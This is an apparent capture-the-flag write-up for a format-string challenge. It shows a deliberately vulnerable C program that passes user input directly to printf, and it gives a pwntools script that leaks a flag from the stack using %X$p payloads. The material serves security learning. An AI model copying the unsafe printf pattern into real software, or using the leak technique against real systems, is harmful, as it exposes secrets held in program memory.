#fmt_string # Understanding the Challenge We were provided with the source and the compile options: ## Compile Options `/gcc vuln.c -fno-stack-protector -z execstack -no-pie -o vuln` ## Source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> //gcc vuln.c -fno-stack-protector -z execstack -no-pie -o vuln void main() { char building_material[3][10] = { "Wood", "Bricks", "Steel" }; char flag[0x30] = {0}; FILE *fd = NULL; fd = fopen("flag.txt","r"); fgets(flag, 0x30, fd); int num = 3; int choice; char buf[0x10]; puts("Lets build a house!"); puts(" .-. ________ "); puts(" |=|/ / \\ "); puts(" | |_____|_\"\"_| "); puts(" |_|_[X]_|____| \n"); while(1) { puts("What do you want to do?"); puts(" [1] Add More material"); puts(" [2] View Material"); puts(" [3] Finish House"); printf("\n > "); if (fgets(buf, sizeof(buf), stdin) == NULL) { exit(-1); } choice = atoi(buf); switch(choice) { case 1: if (num >= 10) puts("You have added the max amount of material."); else { fgets(building_material[num],sizeof(buf),stdin); num++; } break; case 2: printf("\n"); for(int i = 0; i < num; i++) { printf(building_material[i]); printf("\n"); } printf("\n"); break; case 3: puts("It looks like we did not have everything we needed. The build was a failure."); exit(-1); } } } ``` Here we can read in 7 materials and then use the printf to print each item we wrote. Additionally the flag has already been read onto the stack # The Vuln Case 2 shows the printf incorrectly used: ```c case 2: printf("\n"); for(int i = 0; i < num; i++) { printf(building_material[i]); printf("\n"); } ``` # Solve We can abuse the format strings to leak data off the stack which is where the flag contents are stored. This is done with the `%p`. Specifically choosing a word off the stack with `%X$p`, where `X` is any number. Its easy enough to just keep rerunning the binary printing 8 bytes off the stack then seeing if its the flag ```python from pwn import * import binascii context.binary = elf = ELF("./vuln") flag=b"" for x in range(8,10): io = elf.process() #gdb.attach(io) def add_material(x): io.sendline("1") io.sendline(x) def view_material(): io.sendline("2") payload = "%"+str(x)+"$p" add_material(payload) view_material() io.readuntil(b"Steel\n") data = binascii.unhexlify(io.readline().strip().lstrip(b"0x").rjust(16,b"0"))[::-1] flag += data print(flag) ``` The only weirdish part is `data = binascii.unhexlify(io.readline().strip().lstrip(b"0x").rjust(16,b"0"))[::-1]` This is just taking the little endian leak and turning it into an ascii string. Ofcourse, this challenge can also be solved in one run.